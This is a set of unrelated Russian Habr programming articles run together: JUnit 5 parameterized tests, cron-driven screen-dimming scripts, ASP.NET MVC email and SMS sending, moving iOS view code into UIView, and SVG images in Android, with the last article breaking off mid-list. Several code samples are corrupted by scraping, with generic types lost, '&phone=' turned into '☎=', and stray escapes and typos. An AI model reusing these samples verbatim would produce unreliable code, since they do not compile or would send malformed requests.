Junit 5 аннотация @ParameterizedTest очень полезна при написании тестов, которые необходимо вызывать для тестирования несколько раз, но с разными аргументами. Junit предоставляет несколько способов, которые можно использовать декларативно для предоставления аргументов методу тестирования.
Мы также можем комбинировать разные аннотации для тестирования различных типов входных данных в одном тесте.
Есть некоторые более сложные понятия, такие как агрегатор аргументов, конвертер аргументови т.д. Пожалуйста, прочитайте [официальную документацию Junit](https://junit.org/junit5/docs/current/user-guide/#writing-tests-parameterized-tests) для получения последней информации.
Хорошего изучения!!!
[Скачать исходный код](https://github.com/lokeshgupta1981/Junit5Examples/tree/master/JUnit5Examples/src/test/java/com/howtodoinjava/junit5/examples) | https://habr.com/ru/post/591007/ | null | ru | null |
# Эргономика в тёмное время суток
У многих ли из вас монитор находится рядом с окном, в которое по утрам, дням или вечерам светит Солнце? Даже если лучи Солнца не ослепляют и не создают блики на поверхности экрана, оно всё равно будет создавать небольшой дискомфорт во время заката, по крайней мере для меня.
#### Как?
Всё предельно просто. Ближе к вечеру Солнце клонится к закату и свет попадает прямо в комнату очень ярко освящая пространство вокруг моего рабочего места как никогда ярче. Но чем ближе Солнце подходит к горизонту, тем тусклее становятся его лучи и приходится включать искусственное освещение. И в это самое время образуется разница в освещённости комнаты и на фоне приглушённого освещения 22-х дюймовый монитор начинает «резать» глаза.
#### Решение
Хоть уже есть готовые программы, например [f.lux](http://www.stereopsis.com/flux/) или [Redshift](http://jonls.dk/redshift/), в которых реализовано постепенное изменение температуры цвета, я всё же решил уделить своё внимание именно яркости. А так как я – гордый обладатель видеокарты HD3870 с поставленным проприетарным драйвером fglrx, то я написал три небольших shell скрипта для автоматической постепенной смены яркости экрана.
#### Как?
Опять-таки всё очень просто!* Каждый день во время заката постепенно и равномерно, в течение часа незаметно для глаза снижаем яркость экрана до приятного моим глазам уровня.
* Во время каждого рассвета запускается второй скрипт, который, наоборот, восстанавливает яркость экрана до удобной для дневной работы за компом.
* А третий скрипт исполняется при каждом запуске компа и сразу же восстанавливает яркость до стандартной отметки.
#### «Вечерний» алгоритм
1. Определяем начальную яркость.
2. Определяемся с продолжительностью перехода и делим время на Δ яркости.
3. Затемняем экран постепенно.
`now=$((now-1))
aticonfig --set-dispattrib=tmds1,brightness:$now`
4. Ждём n/m секунд, где «n» – время затемнения, а «m» – Δ яркости.
5. Повторяем 3-й и 4-й пункт до тех пор, пока $now не станет равным требуемому затемнению.
#### «Утренний» алгоритм
1. Определяем начальную яркость.
`aticonfig --query-dispattrib=tmds1,brightness`
2. Определяемся с продолжительностью перехода, находим Δ яркости.
3. Продолжаем, если Δ яркости ≠ 0, иначе уже достигнута требуемая отметка.
4. Добавляем яркость.
`now=$((now+1))
aticonfig --set-dispattrib=tmds1,brightness:$now`
5. Ждём n/m секунд, где «n» – время затемнения, а «m» – Δ яркости.
6. Повторяем 4-й и 5-й пункт до тех пор, пока $now не станет равным начальному уровню яркости.
#### «Загрузочный» алгоритм
* Сразу же восстанавливаем до уровня по умолчанию.
`aticonfig --set-dispattrib=tmds1,brightness:0`
«[Вечерний](http://dl.dropbox.com/u/846525/linux-desktop/brightness-310510/win/brightness_evening.sh)», «[Утренний](http://dl.dropbox.com/u/846525/linux-desktop/brightness-310510/win/brightness_morning.sh)» и «[Загрузочный](http://dl.dropbox.com/u/846525/linux-desktop/brightness-310510/win/brightness_reboot.sh)» скрипт, работает без прав рута. **Внимательно прочитайте комментарии в самом верху, так как, возможно, придётся угадывать с другим типом дисплея!**
#### Вопрос на «засыпку»
Как заставить всё это работать? Опять-таки всё элементарно.* Изменяем в терминале список задач планировщика.
`~$ crontab -e`
* Вставляем всего две строки1. Первая – запуск каждый день, к примеру, в 05:00 восстановления яркости, а вторая – затемнения в 20:00 ежедневно. Не забудьте изменить путь до скрипта!
`0 5 * * * export DISPLAY=:0 && "/ путь до скрипта /brightness_morning.sh"
0 20 * * * export DISPLAY=:0 && "/ путь до скрипта /brightness_evening.sh"`
* Перезапускаем cron.
`~$ sudo /etc/init.d/cron restart`
* Открываем список программ, запускающихся при загрузке Ubuntu
`System → Preferences → Startup Applications`
или в терминале.
`~$ gnome-session-properties`
* Добавляем строку для запуска2.
`"/ путь до скрипта /brightness_reboot.sh"`
Вуаля! Всё готово к продолжительному ночному кодингу. Осталось приготовить кофе и закуски, ибо программируя на пустой желудок появляются новые баги.
#### Было и стало
Осталось мне только написать алгоритм по вычислению начала и конца светового дня в зависимости от даты и местоположения, но это совсем другая история. Надеюсь, кому-нибудь ещё, кроме меня, пригодятся эти скрипты. Берегите здоровье, в особенности, зрение. Удачи!
---
1 Обязательно указать `export DISPLAY=:0` для запуска из под «Иксов». Прекрасно работает в Ubuntu 9.10 Karmic Koala.
2 Сброс яркости на ноль у меня не получилось сделать через cron, так как сначала должны запускаться иксы и драйвера, а только затем сам скрипт, но если вдруг у кого-нибудь получится достичь такого же результата аналогичным путём, будьте добры, опишите в комментариях свой вариант. | https://habr.com/ru/post/94745/ | null | ru | null |
# ASP.NET MVC Урок A. Уведомление и рассылка
**Цель урока** Разобраться в отправлении писем и подтверждающих смс. MailNotify, использование конфигурационного файла. Рассылка через создание отдельного потока.
##### SmtpClient и MailNotify
При разработке сайта мы рано или поздно сталкиваемся с взаимодействием с электронной почтой, будь то активация пользователя, напоминание или сброс пароль, или создание рассылки.
Определимся, что нам для этого нужно:
* Класс, который будет рассылать письма
* Конфигурация smtp берется из IConfig
* Ошибки отправки письма протоколируются
* Наличие параметра, выключающего работу почты, дабы при работе с боевой базой клиентов не разослать какой-то треш.
Создадим статический класс, назовем его MailSender (/Tools/Mail/MailSender.cs):
```
public static class MailSender
{
private static IConfig _config;
public static IConfig Config
{
get
{
if (_config == null)
{
_config = (DependencyResolver.Current).GetService();
}
return \_config;
}
}
private static NLog.Logger logger = NLog.LogManager.GetCurrentClassLogger();
public static void SendMail(string email, string subject, string body, MailAddress mailAddress = null)
{
try
{
if (Config.EnableMail)
{
if (mailAddress == null)
{
mailAddress = new MailAddress(Config.MailSetting.SmtpReply, Config.MailSetting.SmtpUser);
}
MailMessage message = new MailMessage(
mailAddress,
new MailAddress(email))
{
Subject = subject,
BodyEncoding = Encoding.UTF8,
Body = body,
IsBodyHtml = true,
SubjectEncoding = Encoding.UTF8
};
SmtpClient client = new SmtpClient
{
Host = Config.MailSetting.SmtpServer,
Port = Config.MailSetting.SmtpPort,
UseDefaultCredentials = false,
EnableSsl = Config.MailSetting.EnableSsl,
Credentials =
new NetworkCredential(Config.MailSetting.SmtpUserName,
Config.MailSetting.SmtpPassword),
DeliveryMethod = SmtpDeliveryMethod.Network
};
client.Send(message);
}
else
{
logger.Debug("Email : {0} {1} \t Subject: {2} {3} Body: {4}", email, Environment.NewLine, subject, Environment.NewLine, body);
}
}
catch (Exception ex)
{
logger.Error("Mail send exception", ex.Message);
}
}
}
```
Рассмотрим подробнее:
* По необходимости, статически инициализируется IConfig из DependencyResolver
* Если установлен флаг EnableMain, то начинаем работу с почтой, иначе просто письмо запишем в лог-файл
* Если MailAddress не указан, то он инициализируется по данным из конфига
* SmtpClient инициализируется по данным из конфига
* Тело письма – html
* Кодировка – UTF8
* Если при отправке произошла ошибка, то запишем Exception.Message в лог (тут можно и больше информации собирать, но пока нет необходимости).
Рассмотрим рассылку писем по шаблону. Создадим класс (тоже статический) NotifyMail (/Tools/Mail/NotifyMail.cs):
```
public static class NotifyMail
{
private static NLog.Logger logger = NLog.LogManager.GetCurrentClassLogger();
private static IConfig _config;
public static IConfig Config
{
get
{
if (_config == null)
{
_config = (DependencyResolver.Current).GetService();
}
return \_config;
}
}
public static void SendNotify(string templateName, string email,
Func subject,
Func body)
{
var template = Config.MailTemplates.FirstOrDefault(p => string.Compare(p.Name, templateName, true) == 0);
if (template == null)
{
logger.Error("Can't find template (" + templateName + ")");
}
else
{
MailSender.SendMail(email,
subject.Invoke(template.Subject),
body.Invoke(template.Template));
}
}
}
```
Аналогично получаем конфиг. При рассылке мы указываем для неё, и дальше используем Func для формирования темы и тела письма.
Уведомим пользователя о регистрации, используя шаблон Register из Web.config:
```
```
Заметим, как необходимо экранировать html-теги, чтобы правильно сделать шаблон. Нужно учитывать зависимость между шаблоном для string.Format() и количеством параметров. В UserController.cs при регистрации добавим (/Areas/Default/Controllers/UserController.cs:Register):
```
Repository.CreateUser(user);
NotifyMail.SendNotify("Register", user.Email,
subject => string.Format(subject, HostName),
body => string.Format(body, "", HostName));
return RedirectToAction("Index");
```
HostName мы добавили в инициализации BaseController (/Controllers/BaseController.cs):
```
public static string HostName = string.Empty;
protected override void Initialize(System.Web.Routing.RequestContext requestContext)
{
if (requestContext.HttpContext.Request.Url != null)
{
HostName = requestContext.HttpContext.Request.Url.Authority;
} …
```
Регистрируемся, и на нашу почту приходит письмо:
##### Более сложный случай
Всё это хорошо, но если нам необходимо рассылку с кучей акционных предложений, то данный формат нам не подойдет. Во-первых, сложно подобный шаблон задавать в Web.config, во-вторых, количество параметров не известно. Как и обычные html-шаблоны, шаблон письма было бы чудесно задать во View. Что ж, рассмотрим библиотеку ActionMailer (<http://nuget.org/packages/ActionMailer>):
```
PM> Install-Package ActionMailer
Successfully installed 'ActionMailer 0.7.4'.
Successfully added 'ActionMailer 0.7.4' to LessonProject.Model.
```
Отнаследуем MailController от MailerBase:
```
public class MailController : MailerBase
{
public EmailResult Subscription(string message, string email)
{
To.Add(email);
Subject = "Рассылка";
MessageEncoding = Encoding.UTF8;
return Email("Subscription", message);
}
}
```
Добавим Subscription.html.cshtml View (/Areas/Default/Views/Mail/Subscription.html.cshtml):
```
@model string
@{
Layout = null;
}
@Model
======
```
Добавляем в Web.config конфигурацию для работы с почтой (Web.config):
```
```
И создаем в UserController.cs тестовый метод (/Areas/Default/Controllers/UserController.cs):
```
[Authorize]
public ActionResult SubscriptionTest()
{
var mailController = new MailController();
var email = mailController.Subscription("Привет, мир!", CurrentUser.Email);
email.Deliver();
return Content("OK");
}
```
Запускаем:
[localhost/User/SubscriptionTest](http://localhost/User/SubscriptionTest) — и получаем на почту письмо.
Рассмотрим пример получения текста письма в строку. Для этого понадобится StreamReader (/Areas/Default/Controllers/UserController.cs):
```
[Authorize]
public ActionResult SubscriptionShow()
{
var mailController = new MailController();
var email = mailController.Subscription("Привет, мир!", CurrentUser.Email);
using (var reader = new StreamReader(email.Mail.AlternateViews[0].ContentStream))
{
var content = reader.ReadToEnd();
return Content(content);
}
return null;
}
```
В content уже есть сформированная страница. Запускаем:
[localhost/User/SubscriptionShow](http://localhost/User/SubscriptionShow)
##### SmsNotify
В этой главе рассмотрим взаимодействие с помощью смс, а не только почты. Но есть ньюанс – доступ к рассылке предоставляется отдельными сервисами, и тут мы рассмотрим только основные принципынаписания модуля для работы с SMS-провайдерами на примере работы с unisender.ru.
Создадим класс настроек по типу MailSetting (/Global/Config/SmsSetting.cs):
```
public class SmsSetting : ConfigurationSection
{
[ConfigurationProperty("apiKey", IsRequired = true)]
public string APIKey
{
get
{
return this["apiKey"] as string;
}
set
{
this["apiKey"] = value;
}
}
[ConfigurationProperty("sender", IsRequired = true)]
public string Sender
{
get
{
return this["sender"] as string;
}
set
{
this["sender"] = value;
}
}
[ConfigurationProperty("templateUri", IsRequired = true)]
public string TemplateUri
{
get
{
return this["templateUri"] as string;
}
set
{
this["templateUri"] = value;
}
}
}
```
Зададим в Web.Config (Web.config):
```
…
…
```
Создадим класс SmsSender (/Tools/Sms/SmsSender.cs):
```
public static class SmsSender
{
private static IConfig _config;
public static IConfig Config
{
get
{
if (_config == null)
{
_config = (DependencyResolver.Current).GetService();
}
return \_config;
}
}
private static NLog.Logger logger = NLog.LogManager.GetCurrentClassLogger();
public static string SendSms(string phone, string text)
{
if (!string.IsNullOrWhiteSpace(Config.SmsSetting.APIKey))
{
return GetRequest(phone, Config.SmsSetting.Sender, text);
}
else
{
logger.Debug("Sms \t Phone: {0} Body: {1}", phone, text);
return "Success";
}
}
private static string GetRequest(string phone, string sender, string text)
{
try
{
HttpWebRequest webRequest = (HttpWebRequest)WebRequest.Create(Config.SmsSetting.TemplateUri);
/// important, otherwise the service can't desirialse your request properly
webRequest.ContentType = "application/x-www-form-urlencoded";
webRequest.Method = "POST";
webRequest.KeepAlive = false;
webRequest.PreAuthenticate = false;
string postData = "format=json&api\_key=" + Config.SmsSetting.APIKey + "☎=" + phone
+ "&sender=" + sender + "&text=" + HttpUtility.UrlEncode(text);
var ascii = new ASCIIEncoding();
byte[] byteArray = ascii.GetBytes(postData);
webRequest.ContentLength = byteArray.Length;
Stream dataStream = webRequest.GetRequestStream();
dataStream.Write(byteArray, 0, byteArray.Length);
dataStream.Close();
WebResponse webResponse = webRequest.GetResponse();
Stream responceStream = webResponse.GetResponseStream();
Encoding enc = System.Text.Encoding.UTF8;
StreamReader loResponseStream = new
StreamReader(webResponse.GetResponseStream(), enc);
string Response = loResponseStream.ReadToEnd();
return Response;
}
catch (Exception ex)
{
logger.ErrorException("Ошибка при отправке SMS", ex);
return "Ошибка при отправке SMS";
}
}
}
```
Результат приходит типа:
```
{"result":{"currency":"RUB","price":"0.49","sms_id":"1316886153.2_79859667475"}}
```
Его можно разобрать и проанализировать.
В следующем уроке мы рассмотрим, как работать с json.
##### Отдельный поток
Если мы рассылаем электронную почту большому количеству людей, то обработка может занять много времени. Для этого я пользуюсь следующим принципом:
* Создаем отдельный поток, который проверяет, если ли исходящие письма готовые к отправке
* При создании рассылки создаются письма и записываются в БД
* Поток проверяет состояние БД на наличие писем
* Письма извлекаются из БД последовательно (письмо может удалиться, может только обнулить содержимое письма (чтоб сэкономить размер БД).
* Письмо отправляется.
* Возвращается к проверке.
Отдельный поток запускается в Application\_Start. Таймер устанавливается на повторение через 1 минуту:
```
public class MvcApplication : System.Web.HttpApplication
{
private static NLog.Logger logger = NLog.LogManager.GetCurrentClassLogger();
private Thread mailThread { get; set; }
protected void Application_Start()
{
var adminArea = new AdminAreaRegistration();
var adminAreaContext = new AreaRegistrationContext(adminArea.AreaName, RouteTable.Routes);
adminArea.RegisterArea(adminAreaContext);
var defaultArea = new DefaultAreaRegistration();
var defaultAreaContext = new AreaRegistrationContext(defaultArea.AreaName, RouteTable.Routes);
defaultArea.RegisterArea(defaultAreaContext);
FilterConfig.RegisterGlobalFilters(GlobalFilters.Filters);
RouteConfig.RegisterRoutes(RouteTable.Routes);
BundleConfig.RegisterBundles(BundleTable.Bundles);
mailThread = new Thread(new ThreadStart(ThreadFunc));
mailThread.Start();
}
private static void ThreadFunc()
{
while (true)
{
try
{
var mailThread = new Thread(new ThreadStart(MailThread));
mailThread.Start();
logger.Info("Wait for end mail thread");
mailThread.Join();
logger.Info("Sleep 60 seconds");
}
catch (Exception ex)
{
logger.ErrorException("Thread period error", ex);
}
Thread.Sleep(60000);
}
}
private static void MailThread()
{
var repository = DependencyResolver.Current.GetService();
while (MailProcessor.SendNextMail(repository)) { }
}
}
```
Рассмотрим класс MailProcessor (но не будем его создавать):
```
public class MailProcessor
{
public static bool SendNextMail(IRepository repository)
{
var mail = repository.PopMailQueue();
if (mail != null)
{
MailSender.SendMail(mail.Email, mail.Subject, mail.Body);
return true;
}
return false;
}
}
```
`MailProcessor.SendNextMail(repository)` – посылает следующее письмо, если писем нет – возвращает false
Поток MainThread дожидается выполнение `MailThread` и делает перекур на одну минуту. И далее. Если в БД новых писем нет – дальше курим одну минуту.
Все исходники находятся по адресу <https://bitbucket.org/chernikov/lessons> | https://habr.com/ru/post/176075/ | null | ru | null |
# Контроллер, полегче! Выносим код в UIView
У вас большой UIViewController? У многих да. С одной стороны, в нём работа с данными, с другой — с интерфейсом.
Задачи отделения логики от интерфейса описаны в сотнях статей про архитектуру: MVP, MVVM, VIPER. Они решают проблему потока данных, но не отвечают на вопрос как работать с интерфейсом: в одном месте остается создание элементов, лейаут, настройка, обработка ввода и анимации.
Давайте отделим view от controller и посмотрим чем нам поможет loadView().
Интерфейс приложения для iOS — это иерархия `UIView`. Задачи каждой `view`: создать элементы, настроить, разложить по местам, анимировать. Это видно из методов, которые есть в классе `UIView: addSubview(), drawRect(), layoutSubviews().`
Если посмотреть на методы класса `UIViewController`, то видно, что он занимается управлением `view:` загружает, реагирует на загрузку экранов и действия пользователя, показывает новые экраны. Часто код, который должен быть в `UIView`, мы пишем в подклассах `UIViewController`, от этого он становится слишком большим. Отделим его.
loadView()
----------
Жизненный цикл `UIViewController` начинается с `loadView()`. Упрощённая реализация выглядит так:
```
// CustomViewController.swift
func loadView() {
self.view = UIView()
}
```
Мы можем переопределить метод и указать свой класс.
**`super.loadView()` вызывать не нужно!**
```
// CustomViewController.swift
override func loadView() {
self.view = CustomView()
}
```
**Реализация CustomView.swift**
```
// CustomView.swift
final class CustomView {
let square: UIView = UIView()
init() {
super.init()
square.backgroundColor = .red
addSubview(square)
}
}
```
Контроллер загрузит `CustomView,` добавит его в иерархию, выставит `.frame`. Свойство `.view` будет нужного нам класса:
```
// CustomViewController.swift
print(view) // CustomView
```
Но пока компилятор не знает о классе и считает, что там обычный `UIView`. Поправим это функцией с приведением типа:
```
// CustomViewController.swift
func view() -> CustomView {
return self.view as! CustomView
}
```
Теперь можно видеть переменные `CustomView`:
```
// CustomViewController.swift
func viewDidLoad() {
super.viewDidLoad()
view().square // Работает
}
```
**Упрощаем с помощью associatedtype**
> Руслан Кавецкий предложил убрать дублирование кода с помощью расширения протокола:
>
>
>
>
> ```
> protocol ViewSpecificController {
> associatedtype RootView: UIView
> }
> extension ViewSpecificController where Self: UIViewController {
> func view() -> RootView {
> return self.view as! RootView
> }
> }
>
> ```
>
>
> Для каждого нового контроллера нужно только указать протокол и подкласс для его `UIView` через `typealias`:
>
>
>
>
> ```
> // CustomViewController.swift
>
> final class CustomViewController: UIViewController, ViewSpecificController {
> typealias RootView = CustomView
>
> func viewDidLoad() {
> super.viewDidLoad()
>
> view().square // Работает
> }
> }
>
> ```
>
Код в подклассе UIView
----------------------
#### Создание и настройка контролов
Шрифты, цвета, констрейнты и иерархию можно настроить прямо в конструкторе CustomView:
```
// CustomView.swift
init() {
super.init()
backgroundColor = .lightGray
addSubview(square)
}
```
#### layoutSubviews()
Лучшее место для ручного лейаута — метод `layoutSubviews()`. Он вызывается каждый раз, когда меняется размер `view`, поэтому можно опираться на размер `bounds` для правильных расчётов:
```
// CustomView.swift
override func layoutSubviews() {
super.layoutSubviews()
square.frame = CGRect(x: 0, y: 0: width: 200, height: 200)
square.center = CGPoint(x: bounds.width / 2, y: bounds.height / 2)
}
```
#### Приватные контролы, публичные свойства
Если есть время, то я делаю `property` контролов приватными, но управляю ими через публичные переменные или функции «в области знаний». Проще на примере:
```
// CustomView.swift
private let square = UIView()
var squarePositionIsValid: Bool {
didSet {
square.backgroundColor = squarePositionIsValid? .green : .red
}
}
func moveSquare(to newCenter: CGPoint) {
square.center = newCenter
}
```
Преимущество в инкапсуляции: внутренняя логика скрыты за интерфейсом. Например, валидность объекта может показываться цветом области, а не квадрата, но контроллер ничего об этом не узнает.
#### Что остаётся во viewDidLoad()?
Если использовать Interface Builder, то часто `viewDidLoad()` пустой. Если `view` создавать в коде, то нужно привязать их действия через target-action паттерн, добавить `UIGestureRecognizer` или связать делегаты.
Настраиваем через Interface Builder
-----------------------------------
Подкласс для `view` можно настроить через Interface Builder (далее IB).
Нужно выделить объект `view` (не контроллер) и задать его класс. Писать собственный `loadView()` не нужно, контроллер сделает это сам. Но приводить тип `UIView` всё ещё приходится.
#### IBOutlet в UIView
Если выбрать контрол внутри `view`, то Assistant Editor распознает класс `UIView` и предложит его в качестве второго файла в Automatic режиме. Так можно переносить `IBOutlet` во `view`.
**Если не работает**Открыть класс `CustomView` вручную, написать `IBOutlet`. Теперь можно потащить за маркер и навести на элемент в IB.
Если создавать интерфейс в коде, то все объекты доступны после `init()`, но при работе с IB доступ к `IBOutlet` появляется только после загрузки интерфейса из `UIStoryboard` в методе `awakeFromNib()`:
```
// CustomView.swift
func awakeFromNib() {
super.awakeFromNib()
square.layer.cornerRadius = 8
}
```
#### IBAction в UIViewController
На мой вкус, контроллеру стоит оставлять все действия пользователя. Из стандартных:
* target-action от контролов
* реализация delegate в `UIViewController`
* реализация блоков
* реакция на `Notification`
При этом `UIViewController` управляет только интерфейсом. Всё что касается бизнес-логики стоит выносить из контроллера, но это уже на выбор: MVP, VIPER и т.д.
Objective-C
-----------
В Objective-C можно полноценно заменить тип `UIView`. Для этого нужно объявить property с нужным классом, переопределить `setter` и `getter`, указав класс:
```
// CustomViewController.m
@interface CustomViewController
@property (nonatomic) CustomView *customView;
@end
@implementation
- (void)setView:(CustomView *)view{
[super setView:view];
}
- (CustomView *)view {
return (CustomView *)super.view;
}
@end
```
Конец
-----
[В примере на GitHub](https://github.com/akaDuality/LoadViewDemo) можно посмотреть на разделение классов для простой задачи: цвет квадрата зависит от его положения (в зелёной области он зелёный, вне её — красный).
Чем сложнее экран, тем лучше эффект: контроллер уменьшается, код переносится на свои места. Код просто переносится во `view`, но инкапсуляция упрощает взаимодействие и чтение кода. Иногда `view` можно переиспользовать с другим контроллером. Например, разные контроллеры для iPhone и iPad по-своему реагируют на появление клавиатуры, но это никак не меняет код `view`.
Я использовал этот код в разных проектах и с разными людьми, каждый раз команда приветствовала упрощение и подхватывала практику. Надеюсь, что и вам она понравится. Всем лёгких `UIViewController`! | https://habr.com/ru/post/432718/ | null | ru | null |
# Используем векторные изображения SVG в приложениях Android, или как убить фрагментацию экранов и не потерять в качестве (плюсы, минусы, особенности)
Достаточно долгое время мы занимаемся разработкой детских приложений под Android, постепенно постигая множество нюансов этой платформы. Есть одни грабли, которые подстерегают нас в каждом приложении, – это фрагментация экранов. Если делать одно изображение только под телефон маленького размера, то на планшете оно выглядит мягко говоря “не очень”. А если делать изображение высокого разрешения для планшетов и пытаться использовать его на телефонах, то с очень большой вероятность приложение вывалится с OutOfMemory.
Приходится готовить несколько экземляров одного и того же изображения под разные экраны. Еще сильнее облака сгущает новый монстр Galaxy Nexus 10 с безумным разрешением 2560х1600.
В общем, неплохо бы что-то изменить, решили мы. А что если использовать в приложениях не растровые изображения, а векторные? Такие изображения легко масштабируются под разные разрешения экранов, при этом не теряя в качестве. Можно использовать всего одно изображение под разные разрешения и размеры.
Сказано — сделано. Итак, под катом история внедрения векторных изображений в одно из наших приложений. В статье мы поделимся опытом и особенностями использования векторных изображений в формате SVG в приложениях Android.
Немного погуглив, выяснили, что векторные изображения для web и приложений обычно используются в формате SVG. С данным форматом работают векторные редакторы Adobe Illustrator и Inkscape. Вооружившись Inkscape, нарезали пробных картинок и принялись искать способы их загрузки и отображения в приложении Android.
Разбираться с устройством формата SVG и писать свой парсер не хотелось — наверняка же люди сталкивались с этим и до нас! Что ж, гуглим «android svg».
В итоге есть:
* 2 проекта на гуглокоде:
[code.google.com/p/svg-android](http://code.google.com/p/svg-android/)
[code.google.com/p/svg-android-2](http://code.google.com/p/svg-android-2/)
* подробная статья с использование NDK:
[horribileru.blogspot.ru/2011/10/android-imageview-svg.html](http://horribileru.blogspot.ru/2011/10/android-imageview-svg.html)
* и несколько ссылок на мертвые проекты на разных форумах.
Берем самый популярный — SVG-Android (он, кстати, переехал на Github, но новых коммитов там нет). Подключаем библиотеку, векторное изображение помещаем в res/raw, загружаем её и устанавливаем ее во вьюшку:
```
SVG svg = SVGParser.getSVGFromResource(getResources(), R.raw.filename);
Drawable drawable = svg.createPictureDrawable();
imageView.setImageDrawable(drawable);
```
Загружаем тестовый проект с изображениями — всё отлично! Подключаем наши изображения — пусто. Как оказалось, данная библиотека поддерживает только формат SVG basic 1.1, который не поддерживается Inkspace, а рождается только в Adobe Illustrator.
Пробуем вторую библиотеку SVG-Android-2, которая является форком первого проекта и ушла чуть-чуть дальше.
Она уже понимает Inkscape, а также поддерживает другие фишки этого формата, о чем можно почитать [тут](http://code.google.com/p/svg-android-2/wiki/Introduction). Здесь всё пошло проще, картинки загрузились и выглядели шикарно и на телефоне, и на планшете. На нем мы и остановились.
Пример SVG-изображения и неадаптированного по размеру под планшет PNG-изображения на планшете.
(просмотреть изображение в оригинальном размере [1280х800](https://plus.google.com/u/0/photos/115151696826352704107/albums/5834319348696228289/5834319352978192274))
*Первое — SVG (10 Кб), второе — PNG (22 Кб). Второе изображение имеет размытый контур и ступенчатый градиент*
#### Масштабирование изображений
Изображения масштабируются только с сохранением пропорций. Поэтому использовать их в качестве фона, который может немного менять пропорции на разных разрешениях, не получится. В этом случае мы обычно делаем какое-то абстрактное изображение в PNG, которое довольно легко меняет свои пропорции для разных экранов.
Не забываем для SVG устанавливать свойство аdjustViewBounds в значение true, иначе изображение может рассчитывать свои границы не так, как вы задумали.
#### Размер изображений с тенями и подсветками
Некоторые элементы в нашем приложении изначально были отрисованы с небольшими тенями и подстветками — например, этот смайлик имеет серую подсветку сзади. Но это приводит к колоссальному увеличению размера файла SVG. 118 Кб против 1 Кб без этой подсветки. Чем больше размер файла — тем больше времени надо на его загрузку в программе, поэтому мы решили отказаться от этого эффекта.
*Изорбражения с тенью и без: 118 Кб vs 1 Кб*
Подсветку можно отключить или в графическом редакторе, или же прямым редактированием SVG-файла — удаляем тэг с огромным содержимым.
#### Отображение градиентов
На некоторых изображениях вдруг обнаружились черные пятна вместо фона. Оказалось, что градиент не поддерживается!
Проблема с градиентами решилась удалением лишних тэгов из svg (описано далее в статье). Но в принципе, и с этим можно было бы жить и в наших простых изображениях заменить градиент однородной заливкой, если бы не другой нюанс — значительное время загрузки изображений.
Вот как это выглядело на экране: слева — черное небо в виде градиента, справа — корректная картинка.
#### Время загрузки изображений
В приложении нужно было по 6 изображений на одной странице ViewPager, а поскольку они подгружаются в процессе прокрутки (если не кэшировать), интерфейс заметно дергался при скроллинге. Этого очень не хотелось, и было решено загружать все изображения при старте приложения. Получили время инициализации порядка 8 секунд, что было слишком долго.
В проблеме решили разобраться. Выкачали исходники проекта SVG-Android-2 и стали искать, что именно так тормозит. Оказалось, что в классе SVGParser XML-файл изображения парсится **дважды**: первый раз он собирает информацию о дополнительных атрибутах, которые используются при втором проходе. И, что самое интересное, — анализируется лишь атрибут xlink:href, который является некоторым подобием гиперссылок внутри самого документа. В наших проблемных изображениях как раз были такие ссылки, и вели они никуда. После того, как мы избавились от данных ссылок, отредактировав код SVG в некоторых изображениях, градиент стал корректно отображаться. Более того, убрав этот предварительный проход и немного оптимизирорав процесс загрузки, мы смогли уменьшить скорость загрузки с 8 секунд до 1,8-2. Следует заметить, что это соизмеримо с PNG среднего размера — загрузка этих же изображений в память заняла 1,7 секунд.
Ниже приведено сравнение загрузки 35 файлов в формате SVG и PNG.
| | | |
| --- | --- | --- |
| | SVG | PNG(~500x500) |
| Размер, КБ | 327 | 943 |
| Время загрузки, с | 1,9 | 1,7 |
#### Прозрачность и цветовые фильтры
Часто в играх мы используем полупрозрачные картинки для неактивных элементов. В этом проекте помимо прозрачности нужны были цветовые фильтры для генерации элементов в играх, то есть чтобы один элемент можно было использовать один раз, но, раскрашивая его по-разному, мы получали бы разные элементы.
Оказалось, что ни alpha, ни colorFilter мы применить не сможем, т.к. библиотека загружает не типичные bitmapDrawable, а pictureDrawable, и в исходниках Android мы видим пустые методы для этого класса:
```
@Override
public void setColorFilter(ColorFilter colorFilter) {}
@Override
public void setAlpha(int alpha) {}
```
До этого с классом pictureDrawable никогда не сталкивались, и это было большой неожиданностью.
Опять покопавшись в исходниках библиотеки, мы нашли в классе SVGHandler поле fillPaint типа Paint, которым рисуются все компоненты. Если до загрузки элемента ему установить colorFilter, то он будет работать как положено. Нас это вполне устраивало, поэтому мы чуть-чуть изменили метод загрузки SVG, добавив возможность передавать туда цвет фильтра, который при необходимости устанавливается перед загрузкой изображения. Теперь изображения загружались так:
```
SVG svg = SVGParser.getSVGFromResource(getResources(), rawSvgId, filterColor);
```
А в самом SVGHandler появился такой метод:
```
public void setFilterColor(int filterColor) {
fillPaint.setColorFilter(new PorterDuffColorFilter(filterColor, Mode.MULTIPLY));
}
```
В итоге мы смогли получать из одной картинки сколько угодно изображений разных оттенков.
Также можно установить и Alpha для fillPaint, но в играх это свойство требуется в динамической форме (нажали на элемент — сделался полупрозрачным), и подгружать каждый раз новое изображение неудобно. Поэтому этот эффект заменили масштабированием (нажали — элемент уменьшился).
#### Нюанс с принудительной обработкой GPU
После запуска приложения к нам стали такие поступать ошибки:
```
java.lang.UnsupportedOperationException
at android.view.GLES20Canvas.drawPicture(GLES20Canvas.java:895)
at android.graphics.drawable.PictureDrawable.draw(PictureDrawable.java:73)
```
Оказалось, что если на устройстве включена настройка “Принудительная обработка GPU” (Developer options — Force GPU Rendering), то наше приложение валится, т.к. метод drawPicture() у Canvas не поддерживает аппаратное ускорение. Об этом можно почитать на [android developer](http://developer.android.com/guide/topics/graphics/hardware-accel.html).
Причем простое указание в манифесте android:hardwareAccelerated=«false» проблему не решает — пользовательская галочка в настройках имеет более высокий приоритет.
Было найдено довольно простое решение: для всех view, которые работают с нашими pictureDrawable, полученными из SVG, отключить аппаратное ускорение.
Так как функция аппаратного ускорения появилась в Аndroid 3.0 (api 11), то для работы с этим функционалом пришлось изменить target sdk нашего проекта с 8 на 11. И, конечно же, надо помнить про обратную совместимость — на более ранних платформах этих методов нет.
```
public static void setSoftwareLayerType(View view) {
try {
view.setLayerType(View.LAYER_TYPE_SOFTWARE, null);
} catch (NoSuchMethodError e) {
//Do nothing - this happens on API < 11
}
}
```
#### Выводы
Давайте подведем краткий итог работы с векторными изображениями в формате SVG в Android.
Плюсы:
* Один огромный плюс, из которого следуют все остальные, — это **одна векторная картинка**.
* Так как картинка векторная, она отлично отображается на всех размерах экранов.
* Размер SVG-картинок мал.
* Одна картинка используется несколько раз для разных разрешений.
* Сокращается процесс подготовки изображений для приложения.
Минусы:
